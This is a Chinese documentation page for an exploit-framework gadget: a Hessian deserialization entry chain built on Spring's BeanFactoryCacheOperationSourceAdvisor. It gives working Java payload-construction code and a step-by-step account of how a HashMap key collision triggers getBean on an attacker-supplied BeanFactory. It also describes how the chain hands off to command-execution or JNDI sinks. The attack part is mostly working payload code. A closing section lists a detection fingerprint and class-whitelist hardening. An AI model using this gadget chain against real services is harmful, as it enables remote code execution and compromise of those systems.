- 类别:hessian 别名:— 优先级:20
- 作者:—
- 依赖:
org.springframework:spring-context、org.springframework:spring-aop
Hessian 反序列化的入口环。构造一个 BeanFactoryCacheOperationSourceAdvisor(AbstractBeanFactoryPointcutAdvisor 子类),把内层对象设为它的 beanFactory、把 adviceBeanName 设为下游约定的 bean 名,再用 PayloadHelper.makeMap 制造 HashMap key 碰撞。反序列化时容器比较两个 advisor 触发 getAdvice() → beanFactory.getBean(adviceBeanName),从而拉起内层 Spring BeanFactory 中的恶意 bean。
- 入口
tags:HessianDeserialize—— 承接 Hessian 反序列化入口(本环作为最外层交给 Hessian 反序列化)。 - 衔接
nextTags:HessianSpringChains—— 之后必须接一个提供恶意BeanFactory的 Spring gadget(SpringExec / SpringJndi1 / SpringJndi2)。 excludes:无。
public Object getObject(Object obj, String beanName) throws Exception {
BeanFactoryCacheOperationSourceAdvisor advisor = new BeanFactoryCacheOperationSourceAdvisor();
advisor.setBeanFactory((BeanFactory)obj); // 内层对象 = 恶意 BeanFactory
advisor.setAdviceBeanName(beanName); // 要 getBean 的目标 bean 名
Reflections.setFieldValue(advisor, "pointcut", null);
Reflections.setFieldValue(advisor, "cacheOperationSource", null);
return PayloadHelper.makeMap(new BeanFactoryCacheOperationSourceAdvisor(), advisor);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object object = chain.doCreate(context); // 取内层 BeanFactory
String beanName = context.getString(ContextTag.BEAN_NAME_KEY); // 由下游注入 bean 名
return this.getObject(object, beanName);
}逐段解释:
invoke先chain.doCreate(context)得到下游 gadget 产出的恶意BeanFactory(StaticListableBeanFactory或SimpleJndiBeanFactory),并从 context 读取BEAN_NAME_KEY——这个 bean 名由下游(SpringExec 用"beanName123",SpringJndi1 直接用jndiUrl)通过 context 约定。getObject构造BeanFactoryCacheOperationSourceAdvisor:setBeanFactory(内层对象)把恶意工厂挂上,setAdviceBeanName(beanName)指定稍后要getBean的名字。把pointcut、cacheOperationSource置null是为了避免反序列化/比较过程中走进这些字段抛异常,保证执行流顺畅到达getAdvice()。- 关键触发在
PayloadHelper.makeMap(a, b):它把两个 advisor 放进会发生 hash/equals 比较的 HashMap 结构。Hessian 反序列化重建该 Map 时会比较 key,AbstractBeanFactoryPointcutAdvisor.equals()内部调用getAdvice(),后者执行this.beanFactory.getBean(this.adviceBeanName)——即在攻击者提供的BeanFactory上按名取 bean,把控制权交给下游 sink。 - 因此本环只负责「Hessian 入口 → 在恶意 BeanFactory 上 getBean」,真正的命令执行/JNDI 由下游
BeanFactory.getBean的副作用完成。
本类无 @Param。adviceBeanName 由链上下文 BEAN_NAME_KEY 注入。
- 需要
spring-context+spring-aop(AbstractBeanFactoryPointcutAdvisor、BeanFactoryCacheOperationSourceAdvisor来自 aop/cache 模块)。 - 依赖 Hessian「按字段反序列化 + 重建 Map 时比较 key」的特性触发
equals→getAdvice→getBean;这是 Spring 系 Hessian 链的经典入口。 - 与
SpringPartiallyComparableAdvisorHolder属同一类入口(不同触发外壳),两者都用于把执行引向BeanFactory.getBean。
- Spring JNDI链2(
[SpringAbstractBeanFactoryPointcutAdvisor, SpringJndi1]) - Spring 命令执行(
[SpringAbstractBeanFactoryPointcutAdvisor, SpringExec])
- 下游(
nextTags=HessianSpringChains):SpringExec、SpringJndi1、SpringJndi2。 - 同族入口:
SpringPartiallyComparableAdvisorHolder(见 Spring JNDI链1)。
- 类指纹:Hessian 流量中出现
BeanFactoryCacheOperationSourceAdvisor+StaticListableBeanFactory/SimpleJndiBeanFactory组合即高危。 - 加固:Hessian 反序列化启用类白名单,禁止 Spring aop/jndi 相关工厂类反序列化。